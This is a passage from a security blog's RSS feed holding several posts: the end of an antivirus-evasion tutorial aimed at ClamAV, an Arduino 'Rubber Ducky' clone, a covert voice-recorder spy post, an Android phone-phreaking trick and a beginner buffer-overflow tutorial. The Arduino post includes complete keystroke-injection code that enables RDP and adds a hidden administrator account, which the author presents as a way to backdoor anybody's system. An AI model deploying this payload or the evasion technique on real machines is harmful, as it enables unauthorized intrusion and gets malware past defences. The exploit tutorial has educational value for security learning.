signatures using good unpackers).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;The Setup:&lt;/b&gt;&lt;br /&gt;We will be using the latest ubuntu while having ClamAV installed over it.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;The Sample:&lt;/b&gt;&lt;br /&gt;For the&lt;b&gt; &lt;/b&gt;demo, i will be using a random CVE 2010-3333 sample which is detected on almost every odd AV solution.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;The Idea:&lt;/b&gt;&lt;br /&gt;Since the idea is not to obfuscate the file but to reverse the signatures and find what is being detected. We will keep it simple and make use of sigtool (comes along with ClamAV) to unpack the signatures. Having the decoded signatures, we can simply run a scan over the infected file which will let us know the exact signature causing the detection, in some cases, the signature will only be the hash of the infected file which can easily be bypassed by just appending a space to the document. In other cases, it may detect a pattern in the file. In such cases, we will see how we can find what the antivirus is looking for and correct it in our malicious payload. let&#39;s jump into the demo as follows:&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&quot;&quot; class=&quot;YOUTUBE-iframe-video&quot; data-thumbnail-src=&quot;https://i.ytimg.com/vi/fjka-uaN4kM/0.jpg&quot; frameborder=&quot;0&quot; height=&quot;266&quot; src=&quot;https://www.youtube.com/embed/fjka-uaN4kM?feature=player_embedded&quot; width=&quot;320&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;As shown in the demo, we can easily bypass signature based detections and patterns looked for by the AV solutions.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Note: This tutorial is for educational purposes only, the idea of such tutorials is to educate newbies and security enthusiasts to build effective signatures and get a little know-how about Antivirus solutions.&lt;/b&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2017/08/antivirus-evasion-for-dummies.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://4.bp.blogspot.com/-nMuP6rm0Dag/WZCZGVKiOoI/AAAAAAAABjk/WQJN5qexcMgXkHfOKBkJPMbsEdNOXkDTQCLcBGAs/s72-c/clamav.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-5792467747412985382</guid><pubDate>Fri, 23 Sep 2016 19:00:00 +0000</pubDate><atom:updated>2017-08-13T01:41:26.528+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Arduino pro micro hack</category><category domain="http://www.blogger.com/atom/ns#">duckuino attacks</category><category domain="http://www.blogger.com/atom/ns#">evading windows 7 firewall</category><category domain="http://www.blogger.com/atom/ns#">usb rubber ducky in india</category><title>Recreating a USB Rubber Ducky under $4 in India</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Holla Guys,&lt;br /&gt;&lt;br /&gt;It&#39;s been a while I have been on my very own domain :P Anyways, today I would like to show you guys few things I have done in the past few years. I have been playing around with a lot of Arduino chips and ended up creating a clone of the USB Rubber Ducky using the keyboard libraries.&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-j-CDCZ4uZHc/WY9gz39qVXI/AAAAAAAABjI/CqXgDTyr85AttErhP8HRN_gjDBIr3uXnwCLcBGAs/s1600/arduino_logo_black-wallpaper-1280x720.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;720&quot; data-original-width=&quot;1280&quot; height=&quot;225&quot; src=&quot;https://3.bp.blogspot.com/-j-CDCZ4uZHc/WY9gz39qVXI/AAAAAAAABjI/CqXgDTyr85AttErhP8HRN_gjDBIr3uXnwCLcBGAs/s400/arduino_logo_black-wallpaper-1280x720.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Arduino Chips for Hacking&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://1.bp.blogspot.com/-BZN7_f2J928/WY9f9XhDldI/AAAAAAAABjA/2Ix-JHpiP3UboU7Vek-6JbTStk4UCCBIQCLcBGAs/s1600/Capture_115.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;347&quot; data-original-width=&quot;405&quot; src=&quot;https://1.bp.blogspot.com/-BZN7_f2J928/WY9f9XhDldI/AAAAAAAABjA/2Ix-JHpiP3UboU7Vek-6JbTStk4UCCBIQCLcBGAs/s1600/Capture_115.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;By using cheap Arduino chips I was not only able to run commands on my computer system but was able to bypass Android 4-Digit lock in less than 2 hours. So how was i able to do it? The very first thing we require is an Arduino Pro Micro Chip. You will find it on Amazon, Ebay or anywhere else and it would cost around 800-900 Rupees which is a lot of money :P So, I chose to go with Aliexpress and got the chips for less than $4. Having the chip, all you need to is to use a USB - Micro Cable to connect your new Arduino chip to the system. For all the folks who know about Arduino&#39;s please feel free to skip one or two paragraphs. You will need the &lt;a href=&quot;https://www.arduino.cc/en/Main/Software&quot; target=&quot;_blank&quot;&gt;Arduino IDE&lt;/a&gt; (Download and install). You will also need to set your board to Arduino Leonardo(Compatible with Arduino Pro Micro)&lt;br /&gt;&lt;br /&gt;Next, all we need to do is to interpret our required functionality in the form of keystrokes and build a program around it. &lt;b&gt;Keyboard.press() &lt;/b&gt;function will type the required key for us while &lt;b&gt;Keyboard.release() &lt;/b&gt;will release a particular key. Another important function is &lt;b&gt;Keyboard.releaseAll() &lt;/b&gt;which will release all the pressed keys at once. Say, &quot;CTRL+SHIFT+DEL&quot; pressing this combination will require you to press one key after the other while holding them all and releasing them together. Similar combinations are required for any combinations we want. The beauty of the Arduino is that it types in so fast that barely a human eye could catch(if very little delays are present).&amp;nbsp; Let&#39;s say we need to open an admin prompt; we will first press the left windows key, then we will type in cmd, then right clicking cmd(CTRL+SHIFT+F10), then a down arrow key and finally enter key. However, if UAC is enabled another Right Arrow Press Followed by an Enter is required. You can understand the functionality through the following image:&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://4.bp.blogspot.com/-npmALrVNwjk/V-V4na_hGCI/AAAAAAAABJM/50E5oV4SQ50U0lH2-2ViV0Ee-qeZMVrTgCLcB/s1600/gg.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;180&quot; src=&quot;https://4.bp.blogspot.com/-npmALrVNwjk/V-V4na_hGCI/AAAAAAAABJM/50E5oV4SQ50U0lH2-2ViV0Ee-qeZMVrTgCLcB/s320/gg.gif&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;So, let&#39;s simply create an example program which will Bypass UAC, Enable RDP and add a user named hacker to the system as follows:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;void setup() {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Keyboard.begin();&lt;br /&gt;delay(3000);&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;type(KEY_LEFT_GUI,false);&lt;br /&gt;Keyboard.releaseAll();&lt;br /&gt;delay(100);&lt;br /&gt;print(F(&quot;cmd.exe&quot;));&lt;br /&gt;delay(1000);&lt;br /&gt;type(KEY_LEFT_CTRL,false);&lt;br /&gt;type(KEY_LEFT_SHIFT,false);&lt;br /&gt;type(KEY_F10,false);&lt;br /&gt;Keyboard.releaseAll();&lt;br /&gt;delay(200);&lt;br /&gt;type(KEY_DOWN_ARROW,false);&lt;br /&gt;Keyboard.releaseAll();&lt;br /&gt;delay(200);&lt;br /&gt;type(KEY_DOWN_ARROW,false);&lt;br /&gt;Keyboard.releaseAll();&lt;br /&gt;delay(200);&lt;br /&gt;type(KEY_DOWN_ARROW,false);&lt;br /&gt;Keyboard.releaseAll();&lt;br /&gt;delay(500);&amp;nbsp; &lt;br /&gt;type(KEY_RETURN,false);&lt;br /&gt;Keyboard.releaseAll();&lt;br /&gt;delay(2000);&lt;br /&gt;type(KEY_LEFT_ARROW,false);&lt;br /&gt;Keyboard.releaseAll();&lt;br /&gt;delay(100);&lt;br /&gt;type(KEY_RETURN,false);&lt;br /&gt;Keyboard.releaseAll();&lt;br /&gt;delay(1000);&lt;br /&gt;print(F(&quot;reg add &quot;));&lt;br /&gt;delay(1000);&lt;br /&gt;String abc= &quot;\\&quot;;&lt;br /&gt;print(F(&quot;\&quot;HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\&quot;&quot;));&lt;br /&gt;delay(1000);&lt;br /&gt;print(F(&quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&quot;));&lt;br /&gt;delay(2000);&lt;br /&gt;type(KEY_RETURN,false);&lt;br /&gt;Keyboard.releaseAll();&lt;br /&gt;print(F(&quot;net user hacker hacker /add&quot;));&lt;br /&gt;delay(1000);&lt;br /&gt;type(KEY_RETURN,false);&lt;br /&gt;Keyboard.releaseAll();&lt;br /&gt;delay(5000);&lt;br /&gt;print(F(&quot;net localgroup administrators hacker /add&quot;));&lt;br /&gt;delay(1000);&lt;br /&gt;type(KEY_RETURN,false);&lt;br /&gt;Keyboard.releaseAll();&lt;br /&gt;delay(5000);&lt;br /&gt;print(F(&quot;exit&quot;));&lt;br /&gt;delay(1000);&lt;br /&gt;type(KEY_RETURN,false);&lt;br /&gt;Keyboard.releaseAll();&lt;br /&gt;Keyboard.end();&lt;br /&gt;}&lt;br /&gt;void type(int key, boolean release) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Keyboard.press(key);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(release)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Keyboard.release(key);&lt;br /&gt;}&lt;br /&gt;void print(const __FlashStringHelper *value) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Keyboard.print(value);&lt;br /&gt;}&lt;br /&gt;void loop(){}&lt;/blockquote&gt;Loading this program into the Arduino, we can backdoor anybody&#39;s system with a new user account and can remote connect to the system. However, using a little modification you can also obtain the IP address of the system as well. I have already created a demonstration exploiting the CTRL+SHIFT+PRNTSCR functionality at login time which can be found below:&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&quot;&quot; class=&quot;YOUTUBE-iframe-video&quot; data-thumbnail-src=&quot;https://i.ytimg.com/vi/owRznVsJonY/0.jpg&quot; frameborder=&quot;0&quot; height=&quot;266&quot; src=&quot;https://www.youtube.com/embed/owRznVsJonY?feature=player_embedded&quot; width=&quot;320&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;br /&gt;Enjoy!!&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2016/09/recreating-usb-rubber-ducky-under-4dollars.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://3.bp.blogspot.com/-j-CDCZ4uZHc/WY9gz39qVXI/AAAAAAAABjI/CqXgDTyr85AttErhP8HRN_gjDBIr3uXnwCLcBGAs/s72-c/arduino_logo_black-wallpaper-1280x720.jpg" height="72" width="72"/><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-2127968483882678527</guid><pubDate>Wed, 03 Dec 2014 12:46:00 +0000</pubDate><atom:updated>2014-12-03T22:27:12.464+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">ISD 1820</category><category domain="http://www.blogger.com/atom/ns#">ISD1820</category><category domain="http://www.blogger.com/atom/ns#">Spy Recorder</category><category domain="http://www.blogger.com/atom/ns#">Voice Recoding Devices in india</category><title>Keep Spying with a Low Cost Voice Recorder</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Voice Recording is one of the primary aspects when it comes to Spying. Today let us discuss about &lt;a href=&quot;http://www.ebay.in/itm/Voice-Recording-Module-Arduino-ARM-and-other-MCU-/111504392050?&quot; target=&quot;_blank&quot;&gt;ISD 1820&lt;/a&gt; Voice Recording Module.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-PeRawSLmbpM/VH78EPOln7I/AAAAAAAAALY/mG_RtJMKtco/s1600/sku_149658_2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-PeRawSLmbpM/VH78EPOln7I/AAAAAAAAALY/mG_RtJMKtco/s1600/sku_149658_2.jpg&quot; height=&quot;200&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;This Module works both independently as well as with Arduino, Pi Boards etc. it is quite small, say a few centimeters bigger than the SD card adapter. This module operates on 3V-5V. Starting to record, playing back can both be controlled using hardware switches as well as Boards like Arduino, Pi etc.&lt;br /&gt;&lt;br /&gt;This module is can be used to build various projects for spying and can be interfaced with SIM900, Motion Sensor so on and so forth.&lt;br /&gt;&lt;br /&gt;A Basic Video demonstrating operations of this module can be found at-&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/e32ZCAdrwCk?feature=player_embedded&#39; frameborder=&#39;0&#39; /&gt;&lt;/div&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2014/12/keep-spying-with-low-cost-voice-recorder.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-PeRawSLmbpM/VH78EPOln7I/AAAAAAAAALY/mG_RtJMKtco/s72-c/sku_149658_2.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-5653476224572850122</guid><pubDate>Tue, 18 Nov 2014 19:12:00 +0000</pubDate><atom:updated>2014-11-19T00:42:48.921+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Bluebox android</category><category domain="http://www.blogger.com/atom/ns#">bypassing dialer lock</category><category domain="http://www.blogger.com/atom/ns#">DTMF apps</category><category domain="http://www.blogger.com/atom/ns#">landline phonelock bypass</category><category domain="http://www.blogger.com/atom/ns#">phreaking android</category><title>Android Keypad Tones, A Perfect BlueBox!</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Hi,&lt;br /&gt;I recently found that keypad tones from android devices can act as a perfect phone phreaking blue box.&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-3mRnFzpqiVs/VGuX5UVr36I/AAAAAAAAAKk/MTWrWeQdvso/s1600/phonephreaking1330.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-3mRnFzpqiVs/VGuX5UVr36I/AAAAAAAAAKk/MTWrWeQdvso/s1600/phonephreaking1330.jpg&quot; height=&quot;261&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;i&gt;In Simple Terms: Feed in Equivalent Calling tones to the Mic of the Land Line from Android, this will allow you to call the number for whom the tones are generated for.&amp;nbsp;&lt;/i&gt;&lt;/blockquote&gt;&lt;br /&gt;However, for some devices like Samsung and others, may not generate the same tones. However, for those devices, we can simply install &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.bytestemplar.tonedef&quot; target=&quot;_blank&quot;&gt;ToneDef&lt;/a&gt; Application from Google Playstore for free. Using this app or the android dialer pad itself may allow phreaking on telephone land lines.&lt;br /&gt;&lt;br /&gt;So many of you guys might have seen a old style phone lock that hides the entire keypad from a landline phone. Now, you don&#39;t have to bother about that at all. We can simply use an android app to bypass Keypad locks and in most cases with the ToneDef app we can simply bypass Pay-Phones as well.&lt;br /&gt;&lt;br /&gt;Have a Look at a simple demonstration using android at-&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/Snm3IzIWqls?feature=player_embedded&#39; frameborder=&#39;0&#39; /&gt;&lt;/div&gt;Kindly share your thoughts in the comments and if you liked the video, kindly give it a share.&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2014/11/android-based-bluebox.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-3mRnFzpqiVs/VGuX5UVr36I/AAAAAAAAAKk/MTWrWeQdvso/s72-c/phonephreaking1330.jpg" height="72" width="72"/><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-3467389471122650787</guid><pubDate>Mon, 27 Oct 2014 15:35:00 +0000</pubDate><atom:updated>2014-10-28T14:03:47.953+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">exploit writing</category><category domain="http://www.blogger.com/atom/ns#">exploit writing part 1</category><category domain="http://www.blogger.com/atom/ns#">learn exploit development</category><category domain="http://www.blogger.com/atom/ns#">linux exploit writing</category><title>Exploit Writing Series Tutorial 1: Buffer Overflow on Linux</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Hey folks,&lt;br /&gt;i have been thinking for so long to start a noob friendly series on exploit writing but never got that much time. Anyways, let&#39;s talk about exploit writing-&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-hzbvVGJBWRQ/VE5le3R5WTI/AAAAAAAAAJs/mygw30EChCk/s1600/overflow.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-hzbvVGJBWRQ/VE5le3R5WTI/AAAAAAAAAJs/mygw30EChCk/s1600/overflow.jpg&quot; height=&quot;300&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;So, what is an exploit?&lt;/b&gt;&lt;br /&gt;an exploit is a piece of code that takes the advantage of a vulnerable system.&lt;br /&gt;&lt;br /&gt;However, keeping this a noob friendly tutorial let&#39;s make some things very clear. Firstly, an exploit may or may not work on two different application versions, may not work on two different operating systems.&lt;br /&gt;Secondly, if you think you already know basics, you can leave the website immediately.&lt;br /&gt;&lt;br /&gt;Well, Throughout this series we will start from the very basic (I Mean it :P) this means we will take up things as soon as they appear. So, you don&#39;t have to worry about ASM, Comp. Architecture etc.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Pre-requisites&lt;/b&gt;&lt;br /&gt;i already mentioned that we will take up things as soon as they appear. However, for this tutorial you should have a lil knowledge about C Programming.&lt;br /&gt;&lt;br /&gt;So, let&#39;s take up the most basic &quot;Stack based Buffer Overflows&quot; at the very first stage-&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Now, what is a stack?&lt;/b&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-tM-kcHBQg-A/VE5T4YlCxzI/AAAAAAAAAI4/r2Wce9a4ixo/s1600/books-20clip-20art-jixpyXdiE.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-tM-kcHBQg-A/VE5T4YlCxzI/AAAAAAAAAI4/r2Wce9a4ixo/s1600/books-20clip-20art-jixpyXdiE.png&quot; height=&quot;320&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;we can see in the above picture that we organized every book one above the other. However, we can collectively say that this is a stack of books. Now, to build this stack, we placed the first book, then the other on top of it and so on until we run out of books.&lt;br /&gt;&lt;br /&gt;Exactly, what follows in Computer systems. We can put operands and operators one above the other to form a stack. This is called the &quot;&lt;b&gt;Push&lt;/b&gt;&quot; operation. This also means that the first book is now at the bottom and the last one is at the top. This is why stack is called &lt;b&gt;Last-in-First-Out&lt;/b&gt;. So, when we need to remove a book, we first need to remove the book at the top, this is called the &quot;&lt;b&gt;Pop&lt;/b&gt;&quot; operation.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;So, What is Buffer Overflow?&lt;/b&gt;&lt;br /&gt;A buffer is a region which stores data temporarily and when more data than its capacity is supplied, it gets overflowed.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Let&#39;s see an example-&lt;/b&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include&amp;lt;string.h&amp;gt;&lt;br /&gt;#include&amp;lt;stdlib.h&amp;gt;&lt;br /&gt;void noexec()&lt;br /&gt;{&lt;br /&gt;printf(&quot;this never executes&quot;);&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void main(int argc, char** argv)&lt;br /&gt;{&lt;br /&gt;char buffer[50];&lt;br /&gt;strcpy(buffer,argv[1]);&lt;br /&gt;printf(buffer);&lt;br /&gt;}&lt;/blockquote&gt;In the above program, we have two different functions- &lt;b&gt;main&lt;/b&gt; and &lt;b&gt;noexec&lt;/b&gt;. When we run this program, it simply receives the command line argument, copies it into the &lt;b&gt;buffer&lt;/b&gt; variable and simply prints it. Now, you might ask, why do we have &lt;b&gt;noexec()&lt;/b&gt; function if we are not calling it any where in the program? this is because in order to work out the simplest buffer overflow, we will try to execute this function by exploiting it.&lt;br /&gt;&lt;br /&gt;Let&#39;s compile this program using the following command-&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;#gcc -ggdb -o rofl -fno-stack-protector expl1.c -mpreferred-stack-boundary=2&lt;/blockquote&gt;To compile a C program in linux, we use &lt;b&gt;gcc&lt;/b&gt;, -ggdb option allows the code to be executed and listed in debugger by supplying enough information to the debugger, about the program, &lt;b&gt;-fno-stack-protector&lt;/b&gt; option turns off stack protection mechanisms in Linux while compiling the program and &lt;b&gt;-mpreferred-stack-boundary=2&lt;/b&gt; option aligns the stack on a 4-byte boundary and will be susceptible to crash as well. However, by default it&#39;s on 16-byte boundary.&lt;br /&gt;&lt;br /&gt;(You can Skip the above paragraph, for now we just need to focus on compiling the application program)&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-cjm1IEwlu9M/VE5dliSoaXI/AAAAAAAAAJI/ElinAvw5CxQ/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-cjm1IEwlu9M/VE5dliSoaXI/AAAAAAAAAJI/ElinAvw5CxQ/s1600/1.png&quot; height=&quot;100&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Let&#39;s execute the program, and supply 50 A&#39;s, we can see that it gets printed, Let&#39;s try with 51 A&#39;s, 52 A&#39;s and 53 A&#39;s. We can see that program exited normally after outputting the supplied input. However, as soon as we provide 54 A&#39;s we get &lt;b&gt;Segmentation Fault&lt;/b&gt; which denotes crashing of the program or we can say the buffer just overflowed. You might ask, we had the buffer for 50 characters but it still got executed at 51,52,53. This is because the input didn&#39;t overwrote the EIP initially and may have overwrote other registers which didn&#39;t affected the program&#39;s execution.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;What is EIP?&lt;/b&gt;&lt;br /&gt;A register which stores the address of the next instruction. Therefore, if we overwrite this EIP register with the address of our choice, our choice will be the next instruction to be executed by the program. This potentially means that we can redirect the flow of a program to anywhere we want.&lt;br /&gt;&lt;br /&gt;Let&#39;s open this program in GDB-&lt;br /&gt;GDB is a debugger which can allow us to view the state of the registers, stack, memory locations etc throughout the execution of a program(I Know this is the most basic tutorial and introducing GDB may not be the correct idea right now, but for the sake of running the noexec function we need its memory address).&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;b&gt;#gdb ./rofl&lt;/b&gt;&lt;/blockquote&gt;&lt;br /&gt;the above command will run the program in GDB. To find the starting address of the noexec() function we need to input a simple command which is &quot;disassemble&quot; followed by the name of the function&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;b&gt;(gdb) disas noexec&lt;/b&gt;&lt;/blockquote&gt;&lt;br /&gt;this command will output the following-&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-Tbn1atlFHaI/VE5iF2Ixb9I/AAAAAAAAAJU/6iPv4FOW_A4/s1600/2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-Tbn1atlFHaI/VE5iF2Ixb9I/AAAAAAAAAJU/6iPv4FOW_A4/s1600/2.png&quot; height=&quot;126&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Don&#39;t get scared! for Now, we only need the address of the first instruction which is &lt;b&gt;0x0804847c&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Next, we simply need to input this address after 54 A characters and this will overwrite the current address in EIP resulting in altering the flow of the program according to our needs.&lt;br /&gt;&lt;br /&gt;Let&#39;s test it out-&lt;br /&gt;Keeping it simple, we will supply 54 A&#39;s and the address in Little endian format which is to reverse the bytes(ex- split the bytes &lt;b&gt;08 04 84 7c&lt;/b&gt; to &lt;b&gt;7c 84 04 08&lt;/b&gt;.&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-zj9y504oCqE/VE5kYc4mCnI/AAAAAAAAAJg/THKLaMv0aLw/s1600/3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-zj9y504oCqE/VE5kYc4mCnI/AAAAAAAAAJg/THKLaMv0aLw/s1600/3.png&quot; height=&quot;17&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;We can see that after outputting the input, noexec function runs thus outputting &quot;&lt;b&gt;This Function Does Not Execute&lt;/b&gt;&quot;.&lt;br /&gt;&lt;br /&gt;This tutorial is purely for the newbies in exploit writing. If You liked this tutorial, comment your feedback and suggestions.&lt;br /&gt;&lt;br /&gt;For exploiting the same on x64 based architecture, refer to&amp;nbsp;&lt;a href=&quot;http://adhokshajmishraonline.in/2014/10/buffer-overflow-demystified/&quot; target=&quot;_blank&quot;&gt;Adhokshaj Mishra&#39;s Website&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;See you Next week.&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2014/10/exploit-writing-series-tutorial-1.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" 